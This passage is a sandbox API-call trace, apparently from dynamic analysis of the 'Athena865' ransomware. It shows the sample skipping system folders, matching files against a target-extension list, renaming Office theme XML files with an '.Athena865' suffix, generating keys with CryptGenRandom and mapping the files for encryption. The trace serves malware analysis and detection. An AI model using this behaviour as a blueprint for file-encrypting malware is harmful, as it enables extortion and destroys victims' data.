lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.655] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.656] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.656] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.656] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.657] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.657] CloseHandle (hObject=0x17c) returned 1 [0136.657] CloseHandle (hObject=0x154) returned 1 [0136.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.658] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2=".") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="..") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="windows") returned -1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="bootmgr") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="temp") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="pagefile.sys") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="boot") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="ids.txt") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="ntuser.dat") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="perflogs") returned 1 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2="MSBuild") returned 1 [0136.658] lstrlenW (lpString="Thatch.xml") returned 10 [0136.658] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Thatch.xml" | out: lpString1="Thatch.xml") returned="Thatch.xml" [0136.658] lstrlenW (lpString="Thatch.xml") returned 10 [0136.658] lstrlenW (lpString="Athena865") returned 9 [0136.658] lstrcmpiW (lpString1="hatch.xml", lpString2="Athena865") returned 1 [0136.658] lstrlenW (lpString=".dll") returned 4 [0136.658] lstrcmpiW (lpString1="Thatch.xml", lpString2=".dll") returned 1 [0136.659] lstrlenW (lpString=".lnk") returned 4 [0136.659] lstrcmpiW (lpString1="Thatch.xml", lpString2=".lnk") returned 1 [0136.659] lstrlenW (lpString=".ini") returned 4 [0136.659] lstrcmpiW (lpString1="Thatch.xml", lpString2=".ini") returned 1 [0136.659] lstrlenW (lpString=".sys") returned 4 [0136.659] lstrcmpiW (lpString1="Thatch.xml", lpString2=".sys") returned 1 [0136.659] lstrlenW (lpString="Thatch.xml") returned 10 [0136.659] lstrlenW (lpString="bak") returned 3 [0136.659] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.659] lstrlenW (lpString="ba_") returned 3 [0136.659] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.659] lstrlenW (lpString="dbb") returned 3 [0136.659] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.659] lstrlenW (lpString="vmdk") returned 4 [0136.659] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.659] lstrlenW (lpString="rar") returned 3 [0136.659] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.659] lstrlenW (lpString="zip") returned 3 [0136.659] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.659] lstrlenW (lpString="tgz") returned 3 [0136.659] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.659] lstrlenW (lpString="vbox") returned 4 [0136.659] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.659] lstrlenW (lpString="vdi") returned 3 [0136.659] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.659] lstrlenW (lpString="vhd") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.660] lstrlenW (lpString="vhdx") returned 4 [0136.660] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.660] lstrlenW (lpString="avhd") returned 4 [0136.660] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.660] lstrlenW (lpString="db") returned 2 [0136.660] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.660] lstrlenW (lpString="db2") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.660] lstrlenW (lpString="db3") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.660] lstrlenW (lpString="dbf") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.660] lstrlenW (lpString="mdf") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.660] lstrlenW (lpString="mdb") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.660] lstrlenW (lpString="sql") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.660] lstrlenW (lpString="sqlite") returned 6 [0136.660] lstrcmpiW (lpString1="ch.xml", lpString2="sqlite") returned -1 [0136.660] lstrlenW (lpString="sqlite3") returned 7 [0136.660] lstrcmpiW (lpString1="tch.xml", lpString2="sqlite3") returned 1 [0136.660] lstrlenW (lpString="sqlitedb") returned 8 [0136.660] lstrcmpiW (lpString1="atch.xml", lpString2="sqlitedb") returned -1 [0136.660] lstrlenW (lpString="xml") returned 3 [0136.660] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.661] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.Athena865") returned 86 [0136.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.athena865"), dwFlags=0x1) returned 1 [0136.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.662] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=961) returned 1 [0136.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.663] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.663] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.663] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.664] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.665] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.666] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.666] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.667] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.667] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.667] CloseHandle (hObject=0x17c) returned 1 [0136.668] CloseHandle (hObject=0x154) returned 1 [0136.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.668] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2=".") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="..") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="windows") returned -1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="bootmgr") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="temp") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="pagefile.sys") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="boot") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="ids.txt") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="ntuser.dat") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="perflogs") returned 1 [0136.668] lstrcmpiW (lpString1="Trek.xml", lpString2="MSBuild") returned 1 [0136.668] lstrlenW (lpString="Trek.xml") returned 8 [0136.668] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Trek.xml" | out: lpString1="Trek.xml") returned="Trek.xml" [0136.669] lstrlenW (lpString="Trek.xml") returned 8 [0136.669] lstrlenW (lpString="Athena865") returned 9 [0136.669] lstrlenW (lpString=".dll") returned 4 [0136.669] lstrcmpiW (lpString1="Trek.xml", lpString2=".dll") returned 1 [0136.669] lstrlenW (lpString=".lnk") returned 4 [0136.669] lstrcmpiW (lpString1="Trek.xml", lpString2=".lnk") returned 1 [0136.669] lstrlenW (lpString=".ini") returned 4 [0136.669] lstrcmpiW (lpString1="Trek.xml", lpString2=".ini") returned 1 [0136.669] lstrlenW (lpString=".sys") returned 4 [0136.669] lstrcmpiW (lpString1="Trek.xml", lpString2=".sys") returned 1 [0136.669] lstrlenW (lpString="Trek.xml") returned 8 [0136.669] lstrlenW (lpString="bak") returned 3 [0136.669] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.669] lstrlenW (lpString="ba_") returned 3 [0136.669] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.669] lstrlenW (lpString="dbb") returned 3 [0136.669] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.669] lstrlenW (lpString="vmdk") returned 4 [0136.669] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.669] lstrlenW (lpString="rar") returned 3 [0136.669] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.669] lstrlenW (lpString="zip") returned 3 [0136.669] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.669] lstrlenW (lpString="tgz") returned 3 [0136.669] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.670] lstrlenW (lpString="vbox") returned 4 [0136.670] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.670] lstrlenW (lpString="vdi") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.670] lstrlenW (lpString="vhd") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.670] lstrlenW (lpString="vhdx") returned 4 [0136.670] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.670] lstrlenW (lpString="avhd") returned 4 [0136.670] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.670] lstrlenW (lpString="db") returned 2 [0136.670] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.670] lstrlenW (lpString="db2") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.670] lstrlenW (lpString="db3") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.670] lstrlenW (lpString="dbf") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.670] lstrlenW (lpString="mdf") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.670] lstrlenW (lpString="mdb") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.670] lstrlenW (lpString="sql") returned 3 [0136.670] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.670] lstrlenW (lpString="sqlite") returned 6 [0136.671] lstrcmpiW (lpString1="ek.xml", lpString2="sqlite") returned -1 [0136.671] lstrlenW (lpString="sqlite3") returned 7 [0136.671] lstrcmpiW (lpString1="rek.xml", lpString2="sqlite3") returned -1 [0136.671] lstrlenW (lpString="sqlitedb") returned 8 [0136.671] lstrlenW (lpString="xml") returned 3 [0136.671] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.671] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.Athena865") returned 84 [0136.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.athena865"), dwFlags=0x1) returned 1 [0136.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Trek.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\trek.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.672] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=959) returned 1 [0136.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.673] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.674] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.674] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.674] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.676] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.676] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.677] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.677] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.678] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.678] CloseHandle (hObject=0x17c) returned 1 [0136.678] CloseHandle (hObject=0x154) returned 1 [0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.679] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2=".") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="..") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="windows") returned -1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="bootmgr") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="temp") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="pagefile.sys") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="boot") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="ids.txt") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="ntuser.dat") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="perflogs") returned 1 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2="MSBuild") returned 1 [0136.679] lstrlenW (lpString="Urban.xml") returned 9 [0136.679] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Urban.xml" | out: lpString1="Urban.xml") returned="Urban.xml" [0136.679] lstrlenW (lpString="Urban.xml") returned 9 [0136.679] lstrlenW (lpString="Athena865") returned 9 [0136.679] lstrlenW (lpString=".dll") returned 4 [0136.679] lstrcmpiW (lpString1="Urban.xml", lpString2=".dll") returned 1 [0136.680] lstrlenW (lpString=".lnk") returned 4 [0136.680] lstrcmpiW (lpString1="Urban.xml", lpString2=".lnk") returned 1 [0136.680] lstrlenW (lpString=".ini") returned 4 [0136.680] lstrcmpiW (lpString1="Urban.xml", lpString2=".ini") returned 1 [0136.680] lstrlenW (lpString=".sys") returned 4 [0136.680] lstrcmpiW (lpString1="Urban.xml", lpString2=".sys") returned 1 [0136.680] lstrlenW (lpString="Urban.xml") returned 9 [0136.680] lstrlenW (lpString="bak") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.680] lstrlenW (lpString="ba_") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.680] lstrlenW (lpString="dbb") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.680] lstrlenW (lpString="vmdk") returned 4 [0136.680] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.680] lstrlenW (lpString="rar") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.680] lstrlenW (lpString="zip") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.680] lstrlenW (lpString="tgz") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.680] lstrlenW (lpString="vbox") returned 4 [0136.680] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.680] lstrlenW (lpString="vdi") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.680] lstrlenW (lpString="vhd") returned 3 [0136.680] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.681] lstrlenW (lpString="vhdx") returned 4 [0136.681] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.681] lstrlenW (lpString="avhd") returned 4 [0136.681] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.681] lstrlenW (lpString="db") returned 2 [0136.681] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.681] lstrlenW (lpString="db2") returned 3 [0136.681] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.681] lstrlenW (lpString="db3") returned 3 [0136.681] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.681] lstrlenW (lpString="dbf") returned 3 [0136.681] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.681] lstrlenW (lpString="mdf") returned 3 [0136.681] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.681] lstrlenW (lpString="mdb") returned 3 [0136.681] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.681] lstrlenW (lpString="sql") returned 3 [0136.681] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.681] lstrlenW (lpString="sqlite") returned 6 [0136.681] lstrcmpiW (lpString1="an.xml", lpString2="sqlite") returned -1 [0136.681] lstrlenW (lpString="sqlite3") returned 7 [0136.681] lstrcmpiW (lpString1="ban.xml", lpString2="sqlite3") returned -1 [0136.681] lstrlenW (lpString="sqlitedb") returned 8 [0136.681] lstrcmpiW (lpString1="rban.xml", lpString2="sqlitedb") returned -1 [0136.681] lstrlenW (lpString="xml") returned 3 [0136.681] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.681] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.Athena865") returned 85 [0136.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.athena865"), dwFlags=0x1) returned 1 [0136.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Urban.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\urban.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.683] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=960) returned 1 [0136.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.683] RtlAllocateHeap 